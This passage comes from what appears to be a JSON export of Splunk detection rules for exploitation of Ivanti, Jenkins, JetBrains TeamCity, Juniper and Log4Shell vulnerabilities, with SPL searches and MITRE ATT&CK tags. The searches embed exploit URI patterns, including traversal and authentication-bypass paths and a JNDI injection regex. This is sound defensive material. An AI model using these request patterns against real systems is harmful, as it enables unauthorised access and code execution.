"Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Ivanti Connect Secure SSRF in SAML Component", - "description": "The following analytic identifies POST requests targeting endpoints vulnerable to the SSRF issue (CVE-2024-21893) in Ivanti's products. It leverages the Web data model, focusing on endpoints such as /dana-ws/saml20.ws, /dana-ws/saml.ws, /dana-ws/samlecp.ws, and /dana-na/auth/saml-logout.cgi. The detection filters for POST requests that received an HTTP 200 OK response, indicating successful execution. This activity is significant as it may indicate an attempt to exploit SSRF vulnerabilities, potentially allowing attackers to access internal services or sensitive data. If confirmed malicious, this could lead to unauthorized access and data exfiltration.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/dana-ws/saml20.ws*\",\"*/dana-ws/saml.ws*\",\"*/dana-ws/samlecp.ws*\",\"*/dana-na/auth/saml-logout.cgi/*\") Web.http_method=POST Web.status=200 by Web.src, Web.dest, Web.http_user_agent, Web.url, Web.status, Web.http_method | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_connect_secure_ssrf_in_saml_component_filter`", - "tags": { - "analytic_story": [ - "Ivanti Connect Secure VPN Vulnerabilities" - ], - "asset_type": "VPN Appliance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of CVE-2024-21893 against $dest$ from $src$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Ivanti Connect Secure System Information Access via Auth Bypass", - "description": "The following analytic identifies attempts to exploit the CVE-2023-46805 and CVE-2024-21887 vulnerabilities in Ivanti Connect Secure. It detects GET requests to the /api/v1/totp/user-backup-code/../../system/system-information URI, which leverage an authentication bypass to access system information. The detection uses the Web datamodel to identify requests with a 200 OK response, indicating a successful exploit attempt. This activity is significant as it reveals potential unauthorized access to sensitive system information. If confirmed malicious, attackers could gain critical insights into the system, facilitating further exploitation and compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url=\"*/api/v1/totp/user-backup-code/../../system/system-information*\" Web.http_method=GET Web.status=200 by Web.src, Web.dest, Web.http_user_agent, Web.url | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_connect_secure_system_information_access_via_auth_bypass_filter`", - "tags": { - "analytic_story": [ - "Ivanti Connect Secure VPN Vulnerabilities" - ], - "asset_type": "VPN Appliance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible exploitation of CVE-2023-46805 and CVE-2024-21887 against $dest$.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Ivanti EPMM Remote Unauthenticated API Access CVE-2023-35078", - "description": "The following analytic detects attempts to exploit CVE-2023-35078, a vulnerability in Ivanti Endpoint Manager Mobile (EPMM) versions up to 11.4. It identifies HTTP requests to the endpoint \"/mifs/aad/api/v2/authorized/users?*\" with a status code of 200 in web logs. This activity is significant as it indicates unauthorized remote access to restricted functionalities or resources. If confirmed malicious, this could lead to data theft, unauthorized modifications, or further system compromise, necessitating immediate action to mitigate potential severe impacts.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/mifs/aad/api/v2/authorized/users?*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_epmm_remote_unauthenticated_api_access_cve_2023_35078_filter`", - "tags": { - "analytic_story": [ - "Ivanti EPMM Remote Unauthenticated Access" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2023-35078 against an Ivanti EPMM appliance on $dest$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Ivanti EPMM Remote Unauthenticated API Access CVE-2023-35082", - "description": "The following analytic detects potential unauthorized access attempts exploiting CVE-2023-35082 within Ivanti's software products. It identifies access to the specific URI path /mifs/asfV3/api/v2/ with an HTTP 200 response code in web access logs, indicating successful unauthorized access. This activity is significant for a SOC as it highlights potential security breaches that could lead to unauthorized data access or system modifications. If confirmed malicious, an attacker could gain unbridled access to sensitive organizational data or modify systems maliciously, posing severe security risks.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/mifs/asfV3/api/v2/*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_epmm_remote_unauthenticated_api_access_cve_2023_35082_filter`", - "tags": { - "analytic_story": [ - "Ivanti EPMM Remote Unauthenticated Access" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2023-35082 against an Ivanti EPMM appliance on $dest$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Ivanti Sentry Authentication Bypass", - "description": "The following analytic identifies unauthenticated access attempts to the System Manager Portal in Ivanti Sentry, exploiting CVE-2023-38035. It detects this activity by monitoring HTTP requests to specific endpoints (\"/mics/services/configservice/*\", \"/mics/services/*\", \"/mics/services/MICSLogService*\") with a status code of 200. This behavior is significant for a SOC as it indicates potential unauthorized access, which could lead to OS command execution as root. If confirmed malicious, this activity could result in significant system compromise and data breaches, especially if port 8443 is exposed to the internet.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/mics/services/configservice/*\", \"/mics/services/*\",\"/mics/services/MICSLogService*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_sentry_authentication_bypass_filter`", - "tags": { - "analytic_story": [ - "Ivanti Sentry Authentication Bypass CVE-2023-38035" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of CVE-2023-38035 against $dest$.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Jenkins Arbitrary File Read CVE-2024-23897", - "description": "The following analytic identifies attempts to exploit Jenkins Arbitrary File Read CVE-2024-23897. It detects HTTP POST requests to Jenkins URLs containing \"*/cli?remoting=false*\" with a 200 status code. This activity is significant as it indicates potential unauthorized access to sensitive files on the Jenkins server, such as credentials and private keys. If confirmed malicious, this could lead to severe data breaches, unauthorized access, and further exploitation within the environment.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url=\"*/cli?remoting=false*\" Web.status=200 Web.http_method=POST by Web.src, Web.dest, Web.http_user_agent, Web.url Web.status, Web.http_method | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `jenkins_arbitrary_file_read_cve_2024_23897_filter`", - "tags": { - "analytic_story": [ - "Jenkins Server Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Jenkins Arbitrary File Read CVE-2024-23897 against $dest$ by $src$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "JetBrains TeamCity Authentication Bypass CVE-2024-27198", - "description": "The following analytic identifies attempts to exploit the JetBrains TeamCity Authentication Bypass vulnerability (CVE-2024-27198). It detects suspicious POST requests to the `/app/rest/users` and `/app/rest/users/id:1/tokens` endpoints, which are indicative of attempts to create new administrator users or generate admin access tokens without authentication. This detection leverages the Web datamodel and CIM-compliant log sources, such as Nginx or TeamCity logs. This activity is significant as it can lead to full control over the TeamCity server, including all projects, builds, agents, and artifacts. If confirmed malicious, attackers could gain unauthorized administrative access, leading to severe security breaches.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where ((Web.url=\"*?jsp=*\" AND Web.url=\"*;.jsp*\") Web.status=200 Web.http_method=POST) OR (Web.url IN (\"*jsp=/app/rest/users;.jsp\",\"*?jsp=/app/rest/users;.jsp\",\"*?jsp=.*/app/rest/users/id:*/tokens;*\") Web.status=200 Web.http_method=POST ) by Web.src, Web.dest, Web.http_user_agent, Web.url, Web.status, Web.http_method, sourcetype, source | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `jetbrains_teamcity_authentication_bypass_cve_2024_27198_filter`", - "tags": { - "analytic_story": [ - "JetBrains TeamCity Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible JetBrains TeamCity Authentication Bypass CVE-2024-27198 Attempt against $dest$ from $src$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "JetBrains TeamCity Authentication Bypass Suricata CVE-2024-27198", - "description": "The following analytic detects attempts to exploit the CVE-2024-27198 vulnerability in JetBrains TeamCity on-premises servers, which allows attackers to bypass authentication mechanisms. It leverages Suricata HTTP traffic logs to identify suspicious POST requests to the `/app/rest/users` and `/app/rest/users/id:1/tokens` endpoints. This activity is significant because it can lead to unauthorized administrative access, enabling attackers to gain full control over the TeamCity server, including projects, builds, agents, and artifacts. If confirmed malicious, this could result in severe security breaches and compromise the integrity of the development environment.", - "search": "`suricata` ((http.url=\"*?jsp=*\" AND http.url=\"*;.jsp*\") http.status=200 http_method=POST) OR (http.url IN (\"*jsp=/app/rest/users;.jsp\",\"*?jsp=/app/rest/users;.jsp\",\"*?jsp=.*/app/rest/users/id:*/tokens;*\") http.status=200 http_method=POST ) | stats count min(_time) as firstTime max(_time) as lastTime by src, dest, http.http_user_agent, http.url, http.status,http_method | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `jetbrains_teamcity_authentication_bypass_suricata_cve_2024_27198_filter`", - "tags": { - "analytic_story": [ - "JetBrains TeamCity Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible JetBrains TeamCity Authentication Bypass Attempt against $dest$ from $src$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "JetBrains TeamCity Limited Auth Bypass Suricata CVE-2024-27199", - "description": "The following analytic identifies attempts to exploit CVE-2024-27199, a critical vulnerability in JetBrains TeamCity web server, allowing unauthenticated access to specific endpoints. It detects unusual access patterns to vulnerable paths such as /res/, /update/, and /.well-known/acme-challenge/ by monitoring HTTP traffic logs via Suricata. This activity is significant as it could indicate an attacker bypassing authentication to access or modify system settings. If confirmed malicious, this could lead to unauthorized changes, disclosure of sensitive information, or uploading of malicious certificates, severely compromising the server's security.", - "search": "`suricata` http.url IN (\"*../admin/diagnostic.jsp*\", \"*../app/https/settings/*\", \"*../app/pipeline*\", \"*../app/oauth/space/createBuild.html*\", \"*../res/*\", \"*../update/*\", \"*../.well-known/acme-challenge/*\", \"*../app/availableRunners*\", \"*../app/https/settings/setPort*\", \"*../app/https/settings/certificateInfo*\", \"*../app/https/settings/defaultHttpsPort*\", \"*../app/https/settings/fetchFromAcme*\", \"*../app/https/settings/removeCertificate*\", \"*../app/https/settings/uploadCertificate*\", \"*../app/https/settings/termsOfService*\", \"*../app/https/settings/triggerAcmeChallenge*\", \"*../app/https/settings/cancelAcmeChallenge*\", \"*../app/https/settings/getAcmeOrder*\", \"*../app/https/settings/setRedirectStrategy*\") http.status=200 http_method=GET | stats count min(_time) as firstTime max(_time) as lastTime by src, dest, http_user_agent, http.url, http.status, http_method | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `jetbrains_teamcity_limited_auth_bypass_suricata_cve_2024_27199_filter`", - "tags": { - "analytic_story": [ - "JetBrains TeamCity Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible JetBrains TeamCity Limited Authentication Bypass Attempt against $dest$ from $src$.", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "JetBrains TeamCity RCE Attempt", - "description": "The following analytic detects attempts to exploit the CVE-2023-42793 vulnerability in JetBrains TeamCity On-Premises. It identifies suspicious POST requests to /app/rest/users/id:1/tokens/RPC2, leveraging the Web datamodel to monitor specific URL patterns and HTTP methods. This activity is significant as it may indicate an unauthenticated attacker attempting to gain administrative access via Remote Code Execution (RCE). If confirmed malicious, this could allow the attacker to execute arbitrary code, potentially compromising the entire TeamCity environment and leading to further unauthorized access and data breaches.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/app/rest/users/id:1/tokens/RPC2*\") Web.status=200 Web.http_method=POST by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `jetbrains_teamcity_rce_attempt_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "JetBrains TeamCity Unauthenticated RCE", - "JetBrains TeamCity Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Other" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential JetBrains TeamCity RCE Attempt detected against URL $url$ on $dest$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Juniper Networks Remote Code Execution Exploit Detection", - "description": "The following analytic detects attempts to exploit a remote code execution vulnerability in Juniper Networks devices. It identifies requests to /webauth_operation.php?PHPRC=*, which are indicative of uploading and executing malicious PHP files. This detection leverages the Web data model, focusing on specific URL patterns and HTTP status codes. This activity is significant because it signals an attempt to gain unauthorized access and execute arbitrary code on the device. If confirmed malicious, the attacker could gain control over the device, leading to data theft, network compromise, or other severe consequences.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/webauth_operation.php?PHPRC=*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `juniper_networks_remote_code_execution_exploit_detection_filter`", - "tags": { - "analytic_story": [ - "Juniper JunOS Remote Code Execution" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "This analytic has identified a potential exploitation of a remote code execution vulnerability in Juniper Networks devices on $dest$ on the URL $url$ used for the exploit.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Log4Shell JNDI Payload Injection Attempt", - "description": "The following analytic identifies attempts to inject Log4Shell JNDI payloads via web calls. It leverages the Web datamodel and uses regex to detect patterns like `${jndi:ldap://` in raw web event data, including HTTP headers. This activity is significant because it targets vulnerabilities in Java web applications using Log4j, such as Apache Struts and Solr. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to full system compromise. Immediate investigation is required to determine if the attempt was successful and to mitigate any potential exploitation.", - "search": "| from datamodel Web.Web | regex _raw=\"[jJnNdDiI]{4}(\\:|\\%3A|\\/|\\%2F)\\w+(\\:\\/\\/|\\%3A\\%2F\\%2F)(\\$\\{.*?\\}(\\.)?)?\" | fillnull | stats count by action, category, dest, dest_port, http_content_type, http_method, http_referrer, http_user_agent, site, src, url, url_domain, user | `log4shell_jndi_payload_injection_attempt_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - 